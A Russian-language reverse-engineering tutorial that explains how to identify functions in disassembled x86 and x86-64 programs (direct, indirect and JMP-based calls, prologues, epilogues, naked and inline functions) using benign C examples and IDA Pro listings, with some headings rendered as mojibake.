Перед тобой уже во второй раз обновленная версия цикла «Фундаменталь-


ные основы хакерства». В 2018 году Юрий Язев изменил текст Криса Каспер-
ски для соответствия новым версиям Windows и Visual Studio, а теперь внес
правки с учетом отладки программ для 64-разрядной архитектуры.
Читай также улучшенные версии прошлых статей цикла:
1. Учимся анализировать программы для x86-64 с нуля
2. Используем отладчик для анализа 64-разрядных программ в Windows
3. Находим реальные адреса инструкций в исполняемых файлах x86-64
4. Осваиваем разные способы поиска защит в программах для x86-64
5. Мастер-класс по анализу исполняемых файлов в IDA Pro

Все новые версии статей доступны без платной подписки.

Цикл «Фундаментальные основы хакерства» со всеми обновлениями опуб-


ликован в виде книги, купить ее по выгодной цене ты можешь на сайте изда-
тельства «Солон-пресс».

Современные дизассемблеры достаточно интеллектуальны и львиную долю


распознавания ключевых структур берут на себя. В частности, IDA Pro
успешно справляется с идентификацией стандартных библиотечных функций,
локальных переменных, адресуемых через регистр RSP, case-ветвлений
и прочего. Однако порой IDA ошибается, вводя исследователя в заблужде-
ние, к тому же высокая стоимость IDA Pro не всегда оправдывает примене-
ние. Например, студентам, изучающим ассемблер (а лучшее средство изу-
чения ассемблера — дизассемблирование чужих программ), «Ида» едва ли
по карману.
Разумеется, на IDA свет клином не сошелся, существуют и другие дизас-
семблеры — скажем, тот же DUMPBIN, входящий в штатную поставку SDK.
Почему бы на худой конец не воспользоваться им? Конечно, если под рукой
нет ничего лучшего, сойдет и DUMPBIN, но в этом случае об интеллектуаль-
ности дизассемблера придется забыть и пользоваться исключительно своей
головой.
Первым делом мы познакомимся с результатами работы неоптимизи-
рующих компиляторов — анализ их кода относительно прост и вполне дос-
тупен для понимания даже новичкам в программировании. Затем, осво-
ившись с дизассемблером, перейдем к вещам более сложным — оптимизи-
рующим компиляторам, которые генерируют очень хитрый, запутанный
и витиеватый код.

Материалы к статье на GitHub

ÈÄÅÍÒÈÔÈÊÀÖÈß ÔÓÍÊÖÈÉ

Функция (также называемая процедурой или подпрограммой) — основная


структурная единица процедурных и объектно ориентированных языков,
поэтому дизассемблирование кода обычно начинается с отождествления
функций и идентификации передаваемых им аргументов. Строго говоря, тер-
мин «функция» присутствует не во всех языках, но даже там, где он присутс-
твует, его определение варьируется от языка к языку.
Не вдаваясь в детали, мы будем понимать под функцией обособленную
последовательность команд, вызываемую из различных частей программы.
Функция может принимать один и более аргументов, а может не принимать
ни одного; может возвращать результат своей работы, а может и не возвра-
щать — это уже не суть важно. Ключевое свойство функции — возвращение
управления на место ее вызова, а ее характерный признак — множественный
вызов из различных частей программы (хотя некоторые функции вызываются
лишь из одного места).
Откуда функция знает, куда следует возвратить управление? Очевидно,
вызывающий код должен предварительно сохранить адрес возврата и вместе
с прочими аргументами передать его вызываемой функции. Существует мно-
жество способов решения этой проблемы: можно, например, перед вызовом
функции поместить в ее конец безусловный переход на адрес возврата, мож-
но сохранить адрес возврата в специальной переменной и после завер-
шения функции выполнить косвенный переход, используя эту переменную
как операнд инструкции jump...
Не останавливаясь на обсуждении сильных и слабых сторон каждого
метода, отметим, что компиляторы в подавляющем большинстве случаев
используют специальные машинные команды CALL и RET, соответственно
предназначенные для вызова функций и возврата из них.
Инструкция CALL закидывает адрес следующей за ней инструкции на вер-
шину стека, а RET стягивает и передает на него управление. Тот адрес,
на который указывает инструкция CALL, и есть адрес начала функции.
А замыкает функцию инструкция RET (но внимание: не всякий RET обозначает
конец функции!).
Таким образом, распознать функцию можно двояко: по перекрестным
ссылкам, ведущим к машинной инструкции CALL, и по ее эпилогу, завер-
шающемуся инструкцией RET. Перекрестные ссылки и эпилог в совокупности
позволяют определить адреса начала и конца функции. Немного забегая впе-
ред, заметим, что в начале многих функций присутствует характерная пос-
ледовательность команд, называемая прологом, которая также пригодна
и для идентификации функций. А теперь рассмотрим все эти темы попод-
робнее.

ÍÅÏÎÑÐÅÄÑÒÂÅÍÍÛÉ ÂÛÇÎÂ ÔÓÍÊÖÈÈ

Просматривая дизассемблерный код, находим все инструкции CALL —


содержимое их операнда и будет искомым адресом начала функции. Адрес
невиртуальных функций, вызываемых по имени, вычисляется еще на стадии
компиляции, и операнд инструкции CALL в таких случаях представляет собой
непосредственное значение. Благодаря этому адрес начала функции выяв-
ляется простым синтаксическим анализом: ищем контекстным поиском все
подстроки CALL и запоминаем (записываем) непосредственные операнды.
Рассмотрим следующий пример (Listing1):

void func();
int main()
{
int a;
func();
a=0x666;
func();
}
void func()
{
int a;
a++;
}

Чтобы откомпилировать пример для 64-битной платформы, надо открыть


соответствующую консоль — x64 Native Tools Command Prompt for VS — и уже
в ней выполнить команду

cl.exe main.cpp /EHcs

Результат компиляции в IDA Pro должен выглядеть приблизительно так:

.text:0000000140001020 main proc near


.text:0000000140001020 var_18 = dword ptr -18h
.text:0000000140001020
.text:0000000140001020 sub rsp, 38h

Вот мы выловили инструкцию call с непосредственным операндом, представ-


ляющим собой адрес начала функции. Точнее, ее смещение в кодовом сег-
менте (в данном случае в сегменте .text). Теперь можно перейти к строке .
text:0000000140001000 и, дав функции собственное имя, заменить операнд
инструкции call конструкцией «call Имямоейфункции».

.text:0000000140001024 call sub_140001000


.text:0000000140001029 mov [rsp+38h+var_18], 666h
.text:0000000140001031 call sub_140001000
.text:0000000140001036 xor eax, eax
.text:0000000140001038 add rsp, 38h

Вот нам встретилась инструкция возврата из функции, однако не факт, что


это действительно конец функции, ведь функция может иметь и несколько
точек выхода. Однако смотри: следом за ret расположено начало следующей
функции. Поскольку функции не могут перекрываться, выходит, что данный
ret — конец функции!

.text:000000014000103C retn
.text:000000014000103C main endp

.text:0000000140001040 sub_140001040 proc near


.text:0000000140001040 push rbx
.text:0000000140001042 sub rsp, 20h
.text:0000000140001046 mov ecx, 1
.........

Судя по адресам, «наша функция» в листинге расположена выше функции


main:

.text:0000000140001000 sub_140001000 proc near


.text:0000000140001000 var_18 = dword ptr -18h

На эту строку ссылаются операнды нескольких инструкций call.Следователь-


но, это адрес начала «нашей функции».

.text:0000000140001000 sub rsp, 18h


.text:0000000140001004 mov eax, [rsp+18h+var_18]
.text:0000000140001007 inc eax
.text:0000000140001009 mov [rsp+18h+var_18], eax
.text:000000014000100C add rsp, 18h
.text:0000000140001010 retn
.text:0000000140001010 sub_140001000 endp

Как видишь, все очень просто.

ÂÛÇÎÂ ÔÓÍÊÖÈÈ ÏÎ ÓÊÀÇÀÒÅËÞ

Однако задача заметно усложняется, если программист (или компилятор)


использует косвенные вызовы функций, передавая их адрес в регистре
и динамически вычисляя его (адрес, а не регистр!) на стадии выполнения
программы. Именно так, в частности, реализована работа с виртуальными
функциями, однако в любом случае компилятор должен каким-то образом
сохранить адрес функции в коде. Значит, его можно найти и вычислить!
Еще проще загрузить исследуемое приложение в отладчик, установить
на «подследственную» инструкцию CALL точку останова и, дождавшись
всплытия отладчика, посмотреть, по какому адресу она передаст управление.
Рассмотрим следующий пример (Listing2):

int func()
{
return 0;
}

int main()
{
int (*a)();
a = func;
a();
}

Результат его компиляции должен в общем случае выглядеть так (функция


main):

.text:0000000140001000 loc_140001000:
.text:0000000140001000 xor eax, eax
.text:0000000140001002 retn
.text:0000000140001002 ; -------------------------------------------
.text:0000000140001010 main proc near
.text:0000000140001010
.text:0000000140001010 var_18 = qword ptr -18h
.text:0000000140001010
.text:0000000140001010 sub rsp, 38h
.text:0000000140001014 lea rax, loc_140001000
.text:000000014000101B mov [rsp+38h+var_18], rax

Вот инструкция CALL, осуществляющая косвенный вызов функции по адресу,


содержащемуся в ячейке [rsp+38h+var_18]. Как узнать, что же там содер-
жится? Поднимем глазки строчкой выше и обнаружим: lea rax,
loc_140001000. Ага! Значит, управление передается по смещению
loc_140001000, где располагается адрес начала функции! Теперь осталось
только дать функции осмысленное имя.

.text:0000000140001020 call [rsp+38h+var_18]


.text:0000000140001024 xor eax, eax
.text:0000000140001026 add rsp, 38h
.text:000000014000102A retn
.text:000000014000102A main endp

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ИЩЕМ СТРУКТУРЫ ЯЗЫКОВ ВЫСОКОГО


УРОВНЯ
В ПРОГРАММАХ ДЛЯ X86-64

ÂÛÇÎÂ ÔÓÍÊÖÈÈ ÏÎ ÓÊÀÇÀÒÅËÞ Ñ ÊÎÌÏËÅÊÑÍÛÌ


ÂÛ×ÈÑËÅÍÈÅÌ ÖÅËÅÂÎÃÎ ÀÄÐÅÑÀ

В некоторых достаточно немногочисленных программах встречается и кос-


венный вызов функции с комплексным вычислением ее адреса. Рассмотрим
следующий пример (Listing3):

int func_1()
{
return 0;
}

int func_2()
{
return 0;
}

int func_3()
{
return 0;
}

int main()
{
int x;
int a[3]={(int) func_1,(int) func_2, (int) func_3};
int (*f)();

for (x=0;x < 3;x++)


{
f=(int (*)()) a[x]; f();
}

Результат дизассемблирования этого кода в общем случае должен выглядеть


так:

.text:0000000140001030 main proc near


.text:0000000140001030
.text:0000000140001030 var_38 = dword ptr -38h
.text:0000000140001030 var_30 = qword ptr -30h
.text:0000000140001030 var_28 = dword ptr -28h
.text:0000000140001030 var_24 = dword ptr -24h
.text:0000000140001030 var_20 = dword ptr -20h
.text:0000000140001030 var_18 = qword ptr -18h
.text:0000000140001030
.text:0000000140001030 sub rsp, 58h
.text:0000000140001034 mov rax, cs:__security_
cookie
.text:000000014000103B xor rax, rsp
.text:000000014000103E mov [rsp+58h+var_18], rax
.text:0000000140001043 lea rax, loc_140001000
.text:000000014000104A mov [rsp+58h+var_28], eax
.text:000000014000104E lea rax, sub_140001010
.text:0000000140001055 mov [rsp+58h+var_24], eax
.text:0000000140001059 lea rax, sub_140001020
.text:0000000140001060 mov [rsp+58h+var_20], eax
.text:0000000140001064 mov [rsp+58h+var_38], 0
.text:000000014000106C jmp short loc_140001078
.text:
000000014000106E ; ----------------------------------------------
.text:000000014000106E
.text:000000014000106E loc_14000106E: ; CODE XREF:
main+62↓j
.text:000000014000106E mov eax, [rsp+58h+var_38]
.text:0000000140001072 inc eax
.text:0000000140001074 mov [rsp+58h+var_38], eax
.text:0000000140001078
.text:0000000140001078 loc_140001078: ; CODE XREF:
main+3C↑j
.text:0000000140001078 cmp [rsp+58h+var_38], 3
.text:000000014000107D jge short loc_140001094
.text:000000014000107F movsxd rax, [rsp+58h+var_38]
.text:0000000140001084 movsxd rax, [rsp+rax*4+58h+var_
28]
.text:0000000140001089 mov [rsp+58h+var_30], rax
.text:000000014000108E call [rsp+58h+var_30]
.text:0000000140001092 jmp short loc_14000106E
.text:
0000000140001094 ; ---------------------------------------------
.text:0000000140001094
.text:0000000140001094 loc_140001094: ; CODE XREF:
main+4D↑j
.text:0000000140001094 xor eax, eax
.text:0000000140001096 mov rcx, [rsp+58h+var_18]
.text:000000014000109B xor rcx, rsp
.text:000000014000109E call __security_check_
cookie
.text:00000001400010A3 add rsp, 58h
.text:00000001400010A7 retn

В строке call [rsp+58h+var_30] происходит косвенный вызов функции.


А что у нас в [rsp+58h+var_30]? Поднимаем глаза на одну строку вверх —
в [rsp+58h+var_30] у нас значение rax. А чему же равен сам rax? Прок-
ручиваем еще одну строку вверх — rax равен содержимому ячейки [
rsp+rax*4+58h+var_28]. Вот дела! Мало того, что нам надо узнать содер-
жимое этой ячейки, так еще и предстоит вычислить ее адрес!
Чему равен RAX в этом выражении? Содержимому [rsp+58h+var_38].
А оно чему равно? «Сейчас выясним...» — бормочем мы себе под нос, прок-
ручивая экран дизассемблера вверх. Ага, нашли: в строке 0x140001074
в него загружается содержимое EAX! Какая радость! И долго мы будем так
блуждать по коду?
Конечно, можно, потратив неопределенное количество времени, усилий
и бодрящего напитка, реконструировать весь ключевой алгоритм целиком
(тем более что мы практически подошли к концу анализа), но где гарантия,
что при этом не будут допущены ошибки?
Гораздо быстрее и надежнее загрузить исследуемую программу
в отладчик, установить бряк на строку .text:000000014000108E и, дож-
давшись всплытия окна отладчика, посмотреть, что у нас расположено
в ячейке [rsp+58h+var_30]. Отладчик будет всплывать трижды, причем каж-
дый раз показывать новый адрес! Заметим, что определить этот факт в дизас-
семблере можно только после полной реконструкции алгоритма.
Однако не стоит питать излишних иллюзий о мощи отладчика. Программа
может тысячу раз вызывать одну и ту же функцию, а на тысяча первый — выз-
вать совсем другую. Отладчик бессилен это определить. Ведь вызов такой
функции может произойти в непредсказуемый момент, например при опре-
деленном сочетании времени, обрабатываемых программой данных
и текущей фазы Луны. Ну не будем же мы целую вечность гонять программу
под отладчиком?
Дизассемблер — дело другое. Полная реконструкция алгоритма позволит
однозначно и гарантированно отследить все адреса косвенных вызовов. Вот
потому дизассемблер и отладчик должны скакать в одной упряжке! Напос-
ледок предлагаю взглянуть на такой участок дизассемблированного лис-
тинга:

.text:000000014000103E mov [rsp+58h+var_18], rax


.text:0000000140001043 lea rax, loc_140001000
.text:000000014000104A mov [rsp+58h+var_28], eax
.text:000000014000104E lea rax, sub_140001010
.text:0000000140001055 mov [rsp+58h+var_24], eax
.text:0000000140001059 lea rax, sub_140001020

Воспользуемся средствами IDA и посмотрим, что загружается в ячейки


памяти [rsp+…]. А это как раз адреса трех наших функций, последовательно
размещенных компилятором друг за дружкой:

.text:0000000140001000 loc_140001000:
.text:0000000140001000 xor eax, eax
.text:0000000140001002 retn

.text:0000000140001010 sub_140001010 proc near


.text:0000000140001010 xor eax, eax
.text:0000000140001012 retn
.text:0000000140001012 sub_140001010 endp

.text:0000000140001020 sub_140001020 proc near


.text:0000000140001020 xor eax, eax
.text:0000000140001022 retn
.text:0000000140001022 sub_140001020 endp

«ÐÓ×ÍÎÉ» ÂÛÇΠÔÓÍÊÖÈÈ ÈÍÑÒÐÓÊÖÈÅÉ JMP

Самый тяжелый случай представляют собой «ручные» вызовы функции коман-


дой JMP с предварительной засылкой в стек адреса возврата. Вызов через
JMP в общем случае выглядит так: PUSH ret_addrr / JMP func_addr, где
ret_addrr и func_addr — непосредственные или косвенные адреса возвра-
та и начала функции соответственно. Кстати, заметим, что команды PUSH
и JMP не всегда следуют одна за другой и порой бывают разделены другими
командами.
Возникает резонный вопрос: чем же так плох CALL и зачем прибегать
к JMP? Дело в том, что функция, вызванная по CALL, после возврата управле-
ния материнской функции всегда передает управление команде, следующей
за CALL. В ряде случаев (например, при структурной обработке исключений)
возникает необходимость после возврата из функции продолжать выпол-
нение не со следующей за CALL командой, а совсем с другой ветки прог-
раммы. Тогда-то и приходится вручную заносить требуемый адрес возврата
и вызывать дочернюю функцию через JMP.
Идентифицировать такие функции очень сложно — контекстный поиск
ничего не дает, поскольку команд JMP, использующихся для локальных
переходов, в теле любой программы очень и очень много — попробуй-ка
проанализируй их все! Если же этого не сделать, из поля зрения выпадут сра-
зу две функции — вызываемая функция и функция, на которую передается
управление после возврата. К сожалению, быстрых решений этой проблемы
не существует, единственная зацепка — вызывающий JMP практически всегда
выходит за границы функции, в теле которой он расположен. Определить же
границы функции можно по эпилогу. Рассмотрим следующий пример
(Listing4):

int funct()
{
return 0;
}

int main()
{
__asm
{
LEA ESI, return_addr
PUSH ESI
JMP funct
return_addr:
}
}

Поскольку присутствующее в этом коде ключевое слово asm платформенно


зависимое и поддерживается только на x86, скомпилируем этот пример 32-
битным компилятором. Результат компиляции в общем случае должен выг-
лядеть так:

.text:00401010 _main proc near


.text:00401010
.text:00401010 argc = dword ptr 8
.text:00401010 argv = dword ptr 0Ch
.text:00401010 envp = dword ptr 10h
.text:00401010
.text:00401010 push ebp
.text:00401011 mov ebp, esp
.text:00401013 push esi
.text:00401014 lea esi, loc_401020
.text:0040101A push esi
.text:0040101B jmp sub_401000
...

Смотри, казалось бы, тривиальный безусловный переход, что в нем такого?


Ан нет! Это не простой переход, это замаскированный вызов функции! Откуда
он следует? Давай-ка перейдем по смещению sub_401000 и посмотрим:

.text:00401000 sub_401000 proc near


.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 xor eax, eax
.text:00401005 pop ebp
.text:00401006 retn
.text:00401006 sub_401000 endp

Как ты думаешь, куда этот ret возвращает управление? Естественно,


по адресу, лежащему на верхушке стека. А что у нас лежит на стеке? PUSH
EBP из строки 0x401000, обратно выталкивается инструкцией POP из строки
0x401005... Возвращаемся назад, к месту безусловного перехода, и начина-
ем медленно прокручивать экран дизассемблера вверх, отслеживая все
обращения к стеку. Ага, попалась птичка!
Инструкция PUSH ESI из строки 40101A закидывает на вершину стека
содержимое регистра ESI, а он сам, в свою очередь, строкой выше принима-
ет «на грудь» значение loc_401020 — это и есть адрес начала функции,
вызываемой командой JMP (вернее, не адрес, а смещение, но это не прин-
ципиально важно):

.text:00401020 loc_401020:
.text:00401020 pop esi
.text:00401021 pop ebp
.text:00401022 retn
.text:00401022 _main endp

ÀÂÒÎÌÀÒÈ×ÅÑÊÀß ÈÄÅÍÒÈÔÈÊÀÖÈß ÔÓÍÊÖÈÉ ÏÎÑÐÅÄÑÒÂÎÌ


IDA PRO

Дизассемблер IDA Pro способен анализировать операнды инструкций CALL,


что позволяет ему автоматически разбивать программу на функции. Причем
IDA вполне успешно справляется с большинством косвенных вызовов. Между
тем современные версии дизассемблера на раз-два справляются с ком-
плексными и «ручными» вызовами функций командой JMP.

«Ида» успешно распознала «ручной» вызов функции

ÏÐÎËÎÃ

На платформе IA-32 большинство неоптимизирующих компиляторов помеща-


ют в начало функции следующий код, называемый прологом:

push ebp
mov ebp, esp
sub esp, xx

К сожалению, на x64 нет такой стройной последовательности инструкций.


У каждой функции пролог существенно отличается. Поэтому рассмотрим про-
лог функций для x86.
В общих чертах назначение пролога сводится к следующему: если регистр
EBP используется для адресации локальных переменных (как часто и бывает),
то перед использованием он должен быть сохранен в стеке (иначе вызыва-
емая функция «сорвет крышу» материнской), затем в EBP копируется текущее
значение регистра указателя вершины стека (ESP) — происходит так называ-
емое открытие кадра стека, и значение ESP уменьшается на размер области
памяти, выделенной под локальные переменные.
Последовательность PUSH EBP / MOV EBP,ESP / SUB ESP,xx может слу-
жить хорошей сигнатурой, чтобы найти все функции в исследуемом файле,
включая и те, на которые нет прямых ссылок. Такой прием, в частности,
использует в своей работе IDA Pro, однако оптимизирующие компиляторы
умеют адресовать локальные переменные через регистр ESP и используют
EBP, как и любой другой регистр общего назначения. Пролог оптимизирован-
ных функций состоит из одной лишь команды SUB ESP, xxx — последова-
тельность слишком короткая для использования ее в качестве сигнатуры фун-
кции, увы. Более подробный рассказ об эпилогах функций нас ждет впереди.

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

ИЩЕМ СТРУКТУРЫ ЯЗЫКОВ ВЫСОКОГО


УРОВНЯ
В ПРОГРАММАХ ДЛЯ X86-64

ÝÏÈËÎÃ

С эпилогом такая же ситуация, на x64 отсутствует постоянная последователь-


ность инструкций. Однако, поскольку 32-битных приложений так много, что их
придется анализировать еще вечность, нам необходимо знать, как выглядит
эпилог в программах на x86.
В конце своей жизни функция закрывает кадр стека, перемещая указатель
вершины стека «вниз», и восстанавливает прежнее значение EBP (если толь-
ко оптимизирующий компилятор не адресовал локальные переменные через
ESP, используя EBP как обычный регистр общего назначения). Эпилог фун-
кции может выглядеть двояко: либо ESP увеличивается на нужное значение
командой ADD, либо в него копируется значение EBP, указывающее на низ
кадра стека. Обобщенный код эпилога функции выглядит так.
Эпилог 1:

pop ebp
add esp, 64h
retn

Эпилог 2:

mov esp, ebp


pop ebp
retn

Важно отметить: между командами POP EBP / ADD ESP, xxx и MOV ESP,EBP /
POP EBP могут находиться и другие команды — они не обязательно должны
следовать вплотную друг к другу. Поэтому для поиска эпилогов контекстный
поиск непригоден — требуется применять поиск по маске.
Если функция написана с учетом соглашения PASCAL, то ей приходится
самостоятельно очищать стек от аргументов. В подавляющем большинстве
случаев это делается инструкцией RET n, где n — количество байтов, сни-
маемых из стека после возврата. Функции же, соблюдающие С-соглашение,
предоставляют очистку стека вызывающему их коду и всегда оканчиваются
командой RET. API-функции Windows представляют собой комбинацию сог-
лашений С и Pascal — аргументы заносятся в стек справа налево, но очищает
стек сама функция.
Таким образом, RET может служить достаточным признаком эпилога фун-
кции, но не всякий эпилог — это конец. Если функция имеет в своем теле нес-
колько операторов return (как часто и бывает), компилятор в общем случае
генерирует для каждого из них свой собственный эпилог. Необходимо обра-
тить внимание, находится ли за концом эпилога новый пролог, или продол-
жается код старой функции.
Также нельзя забывать и о том, что компиляторы обычно (но не всегда!)
не помещают в исполняемый файл код, никогда не получающий управления.
Иначе говоря, у функции будет всего один эпилог, а все находящееся после
первого return будет выброшено как ненужное. Между тем не стоит спешить
вперед паровоза. Откомпилируем с параметрами по умолчанию следующий
пример (Listing5):

int func(int a)
{
return a++;
a=1/a;
return a;
}

int main()
{
func(1);
}

Откомпилированный результат будет выглядеть так (приведен код только


функции func):

.text:00401000 sub_401000 proc near


.text:00401000
.text:00401000 var_4 = dword ptr -4
.text:00401000 arg_0 = dword ptr 8
.text:00401000
.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 push ecx
.text:00401004; Копирование значения аргумента в регистр EAX.
.text:00401004 mov eax, [ebp+arg_0]
.text:00401007; Перекладываем его в переменную var_4.
.text:00401007 mov [ebp+var_4], eax
.text:0040100A; Значение аргумента в ECX.
.text:0040100A mov ecx, [ebp+arg_0]
.text:0040100D; Производим инкремент значения в регистре.
.text:0040100D add ecx, 1
.text:00401010; Инкрементированное значение пишем в аргумент,
.text:00401010; который служит переменной.
.text:00401010 mov [ebp+arg_0], ecx
.text:00401013; В EAX помещается начальное значение аргумента,
.text:00401013; оно и возвращается.
.text:00401013 mov eax, [ebp+var_4]
.text:00401016; Осуществляем безусловный переход на эпилог функции.
.text:00401016 jmp short loc_401027
.text:00401018; ------------------------------------------
.text:00401018; В EAX помещаем 1.
.text:00401018 mov eax, 1
.text:0040101D; Расширяем EAX до EDX:EAX (нужно для деления).
.text:0040101D cdq
.text:0040101E; Выполняем деление единицы на аргумент.
.text:0040101E idiv [ebp+arg_0]
.text:00401021; Частное помещаем в переменную.
.text:00401021 mov [ebp+arg_0], eax
.text:00401024; Возвращаем обратно в регистр.
.text:00401024 mov eax, [ebp+arg_0]
.text:
00401024 ; Код для деления остался, компилятор не посчитал нужным
.text:00401024 ; его убрать, хотя он недостижим.
.text:00401027
.text:00401027 loc_401027: ; CODE XREF: sub_401000+16↑j
.text:00401027; При этом эпилог только один.
.text:00401027 mov esp, ebp
.text:00401029 pop ebp
.text:0040102A retn
.text:0040102A sub_401000 endp

Теперь посмотрим, какой код сгенерирует компилятор, когда внеплановый


выход из функции происходит при срабатывании некоторого условия
(Listing6):

int func(int a)
{
if (a != 0)
return a++;
return 1/a;
}

int main()
{
func(1);
}

Результат компиляции (только func):

.text:00401000 sub_401000 proc near ; CODE XREF: _


main+5↓p
.text:00401000
.text:00401000 var_4 = dword ptr -4
.text:00401000 arg_0 = dword ptr 8
.text:00401000
.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 push ecx
.text:00401004; Сравниваем аргумент функции с нулем.
.text:00401004 cmp [ebp+arg_0], 0
.text:00401008; Если они равны, переходим на метку;
.text:00401008 jz short loc_40101E
.text:0040100A; Если же не равны, помещаем значение аргумента в
регистр EAX.
.text:0040100A mov eax, [ebp+arg_0]
.text:0040100D; Оттуда — в переменную var_4
.text:0040100D mov [ebp+var_4], eax
.text:00401010; Значение аргумента копируется в регистр
ECX, а последний инкрементируем.
.text:00401010 mov ecx, [ebp+arg_0]
.text:00401013 add ecx, 1
.text:
00401016; Инкрементированное значение помещаем в аргумент,
выступающий переменной.
.text:00401016 mov [ebp+arg_0], ecx
.text:00401019; В
EAX помещаем начальное значение аргумента, его и возвращаем.
.text:00401019 mov eax, [ebp+var_4]
.text:0040101C; Переход на эпилог.
.text:0040101C jmp short loc_401027
.text:0040101E ; ------------------------------------------
.text:0040101E
.text:0040101E loc_40101E: ; CODE XREF: sub_401000+8↑j
.text:0040101E; В EAX помещаем 1.
.text:0040101E mov eax, 1
.text:00401023; Расширяем EAX до EDX:EAX (нужно для деления).
.text:00401023 cdq
.text:00401024; Деление EDX:EAX, где находится 1, на аргумент,
равный 0.
.text:00401024 idiv [ebp+arg_0]
.text:00401027
.text:00401027 loc_401027: ; CODE XREF: sub_401000+1C↑j
.text:00401027; Это явно эпилог.
.text:00401027 mov esp, ebp
.text:00401029 pop ebp
.text:0040102A retn
.text:0040102A sub_401000 endp

Как и в предыдущем случае, компилятор создал только один эпилог. Обрати


внимание: в начале функции в строке 0x401004 аргумент сравнивается
с нулем, если условие выполняется, происходит переход на метку
loc_40101E, где выполняется деление, за которым сразу следует эпилог.
Если же условие в строке 0x401004 не соблюдено, выполняется сложение
и происходит безусловный прыжок на эпилог.

Ñïåöèàëüíîå çàìå÷àíèå
Начиная с процессора 80286, в наборе команд появились две инструкции —
ENTER и LEAVE, предназначенные специально для открытия и закрытия кадра
стека. Однако они практически никогда не используются современными ком-
пиляторами. Почему?
Причина в том, что ENTER и LEAVE очень медлительны, намного медлитель-
нее PUSH EBP / MOV EBP,ESP / SUB ESB, xxx и MOV ESP,EBP / POP EBP. Так,
на старом добром Pentium ENTER выполняется за десять тактов, а приведен-
ная последовательность команд — за семь. Аналогично LEAVE требует пять
тактов, хотя ту же операцию можно выполнить за два (и даже быстрее, если
разделить MOV ESP,EBP / POP EBP какой-нибудь командой).
Поэтому современный исследователь никогда не столкнется ни с ENTER,
ни с LEAVE. Хотя помнить об их назначении будет нелишне. Мало ли, вдруг
придется дизассемблировать древние программы или программы, написан-
ные на ассемблере, — не секрет, что многие пишущие на ассемблере очень
плохо знают тонкости работы процессора и их «ручная оптимизация» заметно
уступает компилятору по производительности.

«ÃÎËÛÅ» (NAKED) ÔÓÍÊÖÈÈ

Компилятор Microsoft Visual C++ поддерживает нестандартный квалификатор


naked, позволяющий программистам создавать функции без пролога и эпи-
лога. Компилятор даже не помещает в конце функции RET, и это приходится
делать «вручную», прибегая к ассемблерной вставке __asm{ret} (исполь-
зование return не приводит к желаемому результату).
Вообще-то поддержка naked-функций задумывалась исключительно
для написания драйверов на чистом С (с небольшой примесью ассемблер-
ных включений), но она нашла неожиданное признание и среди разработ-
чиков защитных механизмов. Действительно, приятно иметь возможность
«ручного» создания функций и не беспокоиться, что их непредсказуемым
образом «изуродует» компилятор.
Для нас же, кодокопателей, в первом приближении это означает, что
в программе может встретиться одна или несколько функций, не содержащих
ни пролога, ни эпилога. Ну и что в этом страшного? Оптимизирующие ком-
пиляторы так же выкидывают пролог, а от эпилога оставляют один лишь RET,
но функции элементарно идентифицируются по вызывающей их инструкции
CALL.

ÈÄÅÍÒÈÔÈÊÀÖÈß ÂÑÒÐÀÈÂÀÅÌÛÕ (INLINE) ÔÓÍÊÖÈÉ

Самый эффективный способ избавиться от накладных расходов на вызов


функций — не вызывать их. В самом деле, почему бы не встроить код функции
непосредственно в саму вызывающую функцию? Конечно, это ощутимо уве-
личит размер (и тем ощутимее, чем из больших мест функция вызывается),
но зато значительно увеличит скорость выполнения программы (и тем зна-
чительнее, чем чаще развернутая функция вызывается).
Чем плоха развертка функций для исследования программы? Прежде все-
го, она увеличивает размер материнской функции и делает ее код менее наг-
лядным — вместо CALL / TEST EAX,EAX / JZ xxx с бросающимся в глаза
условным переходом мы видим кучу ничего не напоминающих инструкций,
в логике работы которых еще предстоит разобраться.
Встроенные функции не имеют ни собственного пролога, ни эпилога, их
код и локальные переменные (если таковые имеются) полностью вживлены
в вызывающую функцию, результат компиляции выглядит в точности так,
как будто бы никакого вызова функции и не было. Единственная зацепка —
встраивание функции неизбежно приводит к дублированию ее кода во всех
местах вызова, а это хоть и с трудом, но можно обнаружить. С трудом —
потому, что встраиваемая функция, становясь частью вызывающей функции,
всквозную оптимизируется в контексте последней, что приводит к значитель-
ным вариациям кода.
Рассмотрим следующий пример, чтобы увидеть, как компилятор опти-
мизирует встраиваемую функцию (Listing7):

#include <stdio.h>
inline int max(int a, int b)
{
if(a > b)
return a;
return b;
}

int main(int argc, char **argv)


{
printf("%x\n",max(0x666,0x777));
printf("%x\n",max(0x666,argc));
printf("%x\n",max(0x666,argc));
return 0;
}

Результат его компиляции будет иметь следующий вид (функция main):

.text:0000000140001000 main proc near


.text:0000000140001000
.text:0000000140001000 arg_0 = dword ptr 8
.text:0000000140001000 arg_8 = qword ptr 10h
.text:0000000140001000; Полученные аргументы помещаются
.text:0000000140001000; в локальные переменные.
.text:0000000140001000 mov [rsp+arg_8], rdx
.text:0000000140001005 mov [rsp+arg_0], ecx
.text:0000000140001009 sub rsp, 28h
.text:0000000140001009; Аргументы помещаются в регистры EDX, ECX,
.text:0000000140001009; что говорит нам об их подготовке
.text:
0000000140001009; к передаче в качестве параметров другой функции.
.text:000000014000100D mov edx, 777h
.text:0000000140001012 mov ecx, 666h
.text:0000000140001012; Вызов сравнивающей функции.
.text:0000000140001017 call sub_140001070
.text:000000014000101C mov edx, eax
.text:000000014000101C; Возвращенный предыдущей функцией результат
.text:000000014000101C; передаем функции printf вместе с форматной
.text:000000014000101C; строкой.
.text:000000014000101E lea rcx, Format ; "%x\
n"
.text:000000014000101E; Вызов функции вывода значений на экран.
.text:0000000140001025 call printf
.text:0000000140001025; История повторяется, происходит подготовка
.text:0000000140001025; параметров для вызова функции.
.text:000000014000102A mov edx, [rsp+28h+arg_0]
.text:000000014000102E mov ecx, 666h
.text:000000014000102E; Вызов «встраиваемой» функции max,
.text:000000014000102E; но, как мы видим, встраиваемой она не стала.
.text:0000000140001033 call sub_140001070
.text:0000000140001033; Первый параметр для printf — возвращенное
.text:0000000140001033; max число, второй параметр — форматная
.text:0000000140001033; строка.
.text:0000000140001038 mov edx, eax
.text:000000014000103A lea rcx, asc_140016324 ; "%x\
n"
.text:000000014000103A; Выводим параметры на экран посредством
printf.
.text:0000000140001041 call printf
